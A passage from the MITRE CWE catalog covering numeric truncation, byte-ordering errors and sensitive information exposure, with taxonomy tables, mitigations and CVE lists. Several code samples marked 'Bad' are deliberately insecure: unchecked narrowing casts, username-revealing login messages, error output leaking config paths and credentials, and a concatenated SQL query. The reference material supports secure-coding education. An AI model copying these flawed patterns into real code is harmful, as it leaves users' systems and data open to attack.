The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1400
CanAlsoBe	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
CanAlsoBe	B	124	Buffer Underwrite ('Buffer Underflow')	313

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf	B	681	Incorrect Conversion between Numeric Types	1400

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.</i>	
Integrity	Modify Memory  <i>If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.</i>	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism  <i>Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.</i>	

## Potential Mitigations

### Phase: Requirements

Choose a language which is not subject to these casting flaws.

### Phase: Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

### Phase: Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unsigned to signed conversion error
Software Fault Patterns	SFP1		Glitch in computation

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-197: Numeric Truncation Error

**Weakness ID** : 197  
**Structure** : Simple  
**Abstraction** : Base

### Description

Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion.






### Extended Description

When a primitive is cast to a smaller primitive, the high order bits of the large value are lost in the conversion, potentially resulting in an unexpected value that is not equal to the original value. This value may be required as an index into a buffer, a loop iterator, or simply necessary state data. In any case, the value cannot be trusted and the system will be in an undefined state. While this method may be employed viably to isolate the low bits of a value, this usage is rare, and truncation usually implies that an implementation error has occurred.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400
CanAlsoBe		192	Integer Coercion Error	463
CanAlsoBe		194	Unexpected Sign Extension	471
CanAlsoBe		195	Signed to Unsigned Conversion Error	474
CanAlsoBe		196	Unsigned to Signed Conversion Error	477

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		681	Incorrect Conversion between Numeric Types	1400

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	2103

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

**Language :** Java (Prevalence = Undetermined)

**Language :** C# (Prevalence = Undetermined)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory  <i>The true value of the data is lost and corrupted data is used.</i>	

### Potential Mitigations

#### Phase: Implementation

Ensure that no casts, implicit or explicit, take place that move from a larger size primitive or a smaller size primitive.

### Demonstrative Examples

#### Example 1:

This example, while not exploitable, shows the possible mangling of values associated with truncation errors:

*Example Language:* C

(Bad)

```
int intPrimitive;
short shortPrimitive;
intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1)));
shortPrimitive = intPrimitive;
printf("Int MAXINT: %d\nShort MAXINT: %d\n", intPrimitive, shortPrimitive);
```

The above code, when compiled and run on certain systems, returns the following output:

*Example Language:**(Result)*

```
Int MAXINT: 2147483647
Short MAXINT: -1
```

This problem may be exploitable when the truncated value is used as an array index, which can happen implicitly when 64-bit values are used as indexes, as they are truncated to 32 bits.

**Example 2:**

In the following Java example, the method `updateSalesForProduct` is part of a business application class that updates the sales information for a particular product. The method receives as arguments the product ID and the integer amount sold. The product ID is used to retrieve the total product count from an inventory object which returns the count as an integer. Before calling the method of the sales object to update the sales count the integer values are converted to the primitive type `short` since the method requires short type for the method arguments.

*Example Language: Java**(Bad)*

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // convert integer values to short, the method for the
    // sales object requires the parameters to be of type short
    short count = (short) productCount;
    short sold = (short) amountSold;
    // update sales database for product
    sales.updateSalesCount(productID, count, sold);
}
...
```

However, a numeric truncation error can occur if the integer values are higher than the maximum value allowed for the primitive type `short`. This can cause unexpected results or loss or corruption of data. In this case the sales database may be corrupted with incorrect data. Explicit casting from a larger size primitive type to a smaller size primitive type should be prevented. The following example an if statement is added to validate that the integer values less than the maximum value for the primitive type `short` before the explicit cast and the call to the sales method.

*Example Language: Java**(Good)*

```
...
// update sales database for number of product sold with product ID
public void updateSalesForProduct(String productID, int amountSold) {
    // get the total number of products in inventory database
    int productCount = inventory.getProductCount(productID);
    // make sure that integer numbers are not greater than
    // maximum value for type short before converting
    if ((productCount < Short.MAX_VALUE) && (amountSold < Short.MAX_VALUE)) {
        // convert integer values to short, the method for the
        // sales object requires the parameters to be of type short
        short count = (short) productCount;
        short sold = (short) amountSold;
        // update sales database for product
        sales.updateSalesCount(productID, count, sold);
    }
    // throw exception or perform other processing
    ...
}
...
```

Reference	Description
<b>CVE-2020-17087</b>	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-17087">https://www.cve.org/CVERecord?id=CVE-2020-17087</a>
<b>CVE-2009-0231</b>	Integer truncation of length value leads to heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0231">https://www.cve.org/CVERecord?id=CVE-2009-0231</a>
<b>CVE-2008-3282</b>	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3282">https://www.cve.org/CVERecord?id=CVE-2008-3282</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	C	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	2157
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2238
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	2250
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Notes

#### Research Gap

This weakness has traditionally been under-studied and under-reported, although vulnerabilities in popular software have been published in 2008 and 2009.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Numeric truncation error
CLASP			Truncation error
CERT C Secure Coding	FIO34-C	CWE More Abstract	Distinguish between characters read from a file and EOF or WEOF
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT02-C		Understand integer conversion rules
CERT C Secure Coding	INT05-C		Do not use input functions to convert character data if they cannot handle all possible inputs
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-198: Use of Incorrect Byte Ordering

**Weakness ID** : 198  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		188	Reliance on Data/Memory Layout	451

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		189	Numeric Errors	2103

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	




### Detection Methods

#### Black Box

Because byte ordering bugs are usually very noticeable even with normal inputs, this bug is more likely to occur in rarely triggered error conditions, making them difficult to detect using black box methods.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf		993	SFP Secondary Cluster: Incorrect Input Handling	888	2210



Nature	Type	ID	Name	V	Page
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)		1133 2244

## Notes

### Research Gap

Under-reported.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Numeric Byte Ordering Error
The CERT Oracle Secure Coding Standard for Java (2011)	FIO12-J		Provide methods to read and write little-endian data

## CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

**Weakness ID :** 200

**Structure :** Simple

**Abstraction :** Class

## Description

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

## Extended Description

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include:

- private, personal information, such as personal messages, financial data, health records, geographic location, or contact details
- system status and environment, such as the operating system and installed packages
- business secrets and intellectual property
- network status and configuration
- the product's own code or internal state
- metadata, e.g. logging of connections or message headers
- indirect information, such as a discrepancy between two internal operations that can be observed by an outsider

Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include:

- the product's own users
- people or organizations whose information is created or used by the product, even if they are not direct product users
- the product's administrators, including the admins of the system(s) and/or networks on which the product operates
- the developer

Information exposures can occur in different ways:

- the code explicitly inserts sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized"
- a different weakness or mistake indirectly inserts the sensitive information into resources, such as a web script error revealing the full system path of the program.
- the code manages resources that intentionally contain sensitive information, but the resources are unintentionally made accessible to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place.

It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		201	Insertion of Sensitive Information Into Sent Data	493
ParentOf		203	Observable Discrepancy	497
ParentOf		209	Generation of Error Message Containing Sensitive Information	510
ParentOf		213	Exposure of Sensitive Information Due to Incompatible Policies	523
ParentOf		215	Insertion of Sensitive Information Into Debugging Code	527
ParentOf		359	Exposure of Private Personal Information to an Unauthorized Actor	836
ParentOf		497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1127
ParentOf		538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1178
ParentOf		1258	Exposure of Sensitive System Information Due to Uncleared Debug Information	1912
ParentOf		1273	Device Unlock Credential Sharing	1944
ParentOf		1295	Debug Messages Revealing Unnecessary Information	1985
CanFollow		498	Cloneable Class Containing Sensitive Information	1130
CanFollow		499	Serializable Class Containing Sensitive Data	1132
CanFollow		1272	Sensitive Information Uncleared Before Debug/Power State Transition	1942

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf		203	Observable Discrepancy	497
ParentOf		209	Generation of Error Message Containing Sensitive Information	510

Nature	Type	ID	Name	Page
ParentOf	Ⓔ	532	Insertion of Sensitive Information into Log File	1171

### Weakness Ordinalities

**Primary :** Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed

**Resultant :** Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Technology :** Mobile (*Prevalence = Undetermined*)

### Alternate Terms

**Information Disclosure :** This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.

**Information Leak :** This is a frequently used term, however the "leak" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as "memory leak"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the "leak" term.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Detection Methods

#### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Inter-application Flow Analysis

*Effectiveness = SOAR Partial*

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = High*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Context-configured Source Code Weakness Analyzer Cost effective for partial coverage: Source code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

## Demonstrative Examples

### Example 1:

The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.

*Example Language: Perl*

*(Bad)*

```
my $username=param('username');
my $password=param('password');
if (IsValidUsername($username) == 1)
{
    if (IsValidPassword($username, $password) == 1)
    {
        print "Login Successful";
    }
    else
    {
        print "Login Failed - incorrect password";
    }
}
else
{
    print "Login Failed - unknown username";
}
```

In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker

to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.

While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:

*Example Language:*

*(Result)*

```
"Login Failed - incorrect username or password"
```

### Example 2:

This code tries to open a database connection, and prints any exceptions that occur.

*Example Language: PHP*

*(Bad)*

```
try {
    openDbConnection();
}
//print exception message that includes exception message and configuration file location
catch (Exception $e) {
    echo 'Caught exception: ', $e->getMessage(), "\n";
    echo 'Check credentials in config file at: ', $Mysql_config_location, "\n";
}
```

If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.

### Example 3:

In the example below, the method `getUserBankAccount` retrieves a bank account object from a database using the supplied username and account number to query the database. If an `SQLException` is raised when querying the database, an error message is created and output to a log file.

*Example Language: Java*

*(Bad)*

```
public BankAccount getUserBankAccount(String username, String accountNumber) {
    BankAccount userAccount = null;
    String query = null;
    try {
        if (isAuthorizedUser(username)) {
            query = "SELECT * FROM accounts WHERE owner = "
                + username + " AND accountID = " + accountNumber;
            DatabaseManager dbManager = new DatabaseManager();
            Connection conn = dbManager.getConnection();
            Statement stmt = conn.createStatement();
            ResultSet queryResult = stmt.executeQuery(query);
            userAccount = (BankAccount)queryResult.getObject(accountNumber);
        }
    } catch (SQLException ex) {
        String logMessage = "Unable to retrieve account information from database,\nquery: " + query;
        Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);
    }
    return userAccount;
}
```

The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose

the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.

#### Example 4:

This code stores location information about the current user:

*Example Language: Java*

*(Bad)*

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
currentUser.setLocation(locationClient.getLastLocation());
...
catch (Exception e) {
    AlertDialog.Builder builder = new AlertDialog.Builder(this);
    builder.setMessage("Sorry, this application has experienced an error.");
    AlertDialog alert = builder.create();
    alert.show();
    Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());
}
```

When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.

#### Example 5:

The following is an actual MySQL error statement:

*Example Language: SQL*

*(Result)*

```
Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/
includes/database.inc on line 4
```

The error clearly exposes the database credentials.

#### Example 6:

This code displays some information on a web page.

*Example Language: JSP*

*(Bad)*

```
Social Security Number: <%= ssn %></br>Credit Card Number: <%= ccn %>
```

The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.

#### Example 7:

The following program changes its behavior based on a debug flag.

*Example Language: JSP*

*(Bad)*

```
<% if (Boolean.getBoolean("debugEnabled")) {
    %>
    User account number: <%= acctNo %>
    <%
    } %>
```

The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .

#### Example 8:

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS\_FINE\_LOCATION permission in the application's manifest.xml:



Example Language: XML

(Bad)

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to `getLastLocation()` will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java

(Bad)

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the `ACCESS_FINE_LOCATION` permission, as the `ACCESS_COARSE_LOCATION` permission will be sufficient to identify which US state the user is in.

### Observed Examples

Reference	Description
<b>CVE-2001-1483</b>	Enumeration of valid usernames based on inconsistent responses <a href="https://www.cve.org/CVERecord?id=CVE-2001-1483">https://www.cve.org/CVERecord?id=CVE-2001-1483</a>
<b>CVE-2001-1528</b>	Account number enumeration via inconsistent responses. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1528">https://www.cve.org/CVERecord?id=CVE-2001-1528</a>
<b>CVE-2004-2150</b>	User enumeration via discrepancies in error messages. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2150">https://www.cve.org/CVERecord?id=CVE-2004-2150</a>
<b>CVE-2005-1205</b>	Telnet protocol allows servers to obtain sensitive environment information from clients. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1205">https://www.cve.org/CVERecord?id=CVE-2005-1205</a>
<b>CVE-2002-1725</b>	Script calls <code>phpinfo()</code> , revealing system configuration to web user <a href="https://www.cve.org/CVERecord?id=CVE-2002-1725">https://www.cve.org/CVERecord?id=CVE-2002-1725</a>
<b>CVE-2002-0515</b>	Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0515">https://www.cve.org/CVERecord?id=CVE-2002-0515</a>
<b>CVE-2004-0778</b>	Version control system allows remote attackers to determine the existence of arbitrary files and directories via the <code>-X</code> command for an alternate history file, which causes different error messages to be returned. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0778">https://www.cve.org/CVERecord?id=CVE-2004-0778</a>
<b>CVE-2000-1117</b>	Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the <code>getSystemResource</code> method. <a href="https://www.cve.org/CVERecord?id=CVE-2000-1117">https://www.cve.org/CVERecord?id=CVE-2000-1117</a>
<b>CVE-2003-0190</b>	Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0190">https://www.cve.org/CVERecord?id=CVE-2003-0190</a>
<b>CVE-2008-2049</b>	POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2049">https://www.cve.org/CVERecord?id=CVE-2008-2049</a>
<b>CVE-2007-5172</b>	Program reveals password in error message if attacker can trigger certain database errors. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5172">https://www.cve.org/CVERecord?id=CVE-2007-5172</a>

Reference	Description
<b>CVE-2008-4638</b>	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). <a href="https://www.cve.org/CVERecord?id=CVE-2008-4638">https://www.cve.org/CVERecord?id=CVE-2008-4638</a>
<b>CVE-2007-1409</b>	Direct request to library file in web application triggers pathname leak in error message. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1409">https://www.cve.org/CVERecord?id=CVE-2007-1409</a>
<b>CVE-2005-0603</b>	Malformed regexp syntax leads to information exposure in error message. <a href="https://www.cve.org/CVERecord?id=CVE-2005-0603">https://www.cve.org/CVERecord?id=CVE-2005-0603</a>
<b>CVE-2004-2268</b>	Password exposed in debug information. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2268">https://www.cve.org/CVERecord?id=CVE-2004-2268</a>
<b>CVE-2003-1078</b>	FTP client with debug option enabled shows password to the screen. <a href="https://www.cve.org/CVERecord?id=CVE-2003-1078">https://www.cve.org/CVERecord?id=CVE-2003-1078</a>
<b>CVE-2022-0708</b>	Collaboration platform does not clear team emails in a response, allowing leak of email addresses <a href="https://www.cve.org/CVERecord?id=CVE-2022-0708">https://www.cve.org/CVERecord?id=CVE-2022-0708</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	717	OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling	629	2125
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354

### Notes

#### Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities). Rationale: CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability, but confidentiality loss is a technical impact - not a root cause error. As of CWE 4.9, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287]. Comments: if an error or mistake causes information to be disclosed, then use the CWE ID for that error. Consider starting with improper authorization (CWE-285), insecure permissions (CWE-732), improper authentication (CWE-287), etc. Also consider children such as Insertion of Sensitive Information Into Sent Data (CWE-201), Observable Discrepancy (CWE-203), Insertion of Sensitive Information into Externally-Accessible File or Directory (CWE-538), or others.

#### Maintenance

As a result of mapping analysis in the 2020 Top 25 and more recent versions, this weakness is under review, since it is frequently misused in mapping to cover many problems that lead to loss of confidentiality. See Mapping Notes, Extended Description, and Alternate Terms.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Information Leak (information disclosure)
OWASP Top Ten 2007	A6	CWE More Specific	Information Leakage and Improper Error Handling
WASC	13		Information Leakage

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
13	Subverting Environment Variable Values
22	Exploiting Trust in Client
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
79	Using Slashes in Alternate Encoding
116	Excavation
169	Footprinting
224	Fingerprinting
285	ICMP Echo Request Ping
287	TCP SYN Scan
290	Enumerate Mail Exchange (MX) Records
291	DNS Zone Transfers
292	Host Discovery
293	Traceroute Route Enumeration
294	ICMP Address Mask Request
295	Timestamp Request
296	ICMP Information Request
297	TCP ACK Ping
298	UDP Ping
299	TCP SYN Ping
300	Port Scanning
301	TCP Connect Scan
302	TCP FIN Scan
303	TCP Xmas Scan
304	TCP Null Scan
305	TCP ACK Scan
306	TCP Window Scan
307	TCP RPC Scan
308	UDP Scan
309	Network Topology Mapping
310	Scanning for Vulnerable Software
312	Active OS Fingerprinting
313	Passive OS Fingerprinting
317	IP ID Sequencing Probe
318	IP 'ID' Echoed Byte-Order Probe
319	IP (DF) 'Don't Fragment Bit' Echoing Probe
320	TCP Timestamp Probe
321	TCP Sequence Number Probe
322	TCP (ISN) Greatest Common Divisor Probe

CAPEC-ID	Attack Pattern Name
323	TCP (ISN) Counter Rate Probe
324	TCP (ISN) Sequence Predictability Probe
325	TCP Congestion Control Flag (ECN) Probe
326	TCP Initial Window Size Probe
327	TCP Options Probe
328	TCP 'RST' Flag Checksum Probe
329	ICMP Error Message Quoting Probe
330	ICMP Error Message Echoing Integrity Probe
472	Browser Fingerprinting
497	File Discovery
508	Shoulder Surfing
573	Process Footprinting
574	Services Footprinting
575	Account Footprinting
576	Group Permission Footprinting
577	Owner Footprinting
616	Establish Rogue Location
643	Identify Shared Files/Directories on System
646	Peripheral Footprinting
651	Eavesdropping

### References

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## CWE-201: Insertion of Sensitive Information Into Sent Data

**Weakness ID** : 201

**Structure** : Simple

**Abstraction** : Base

### Description

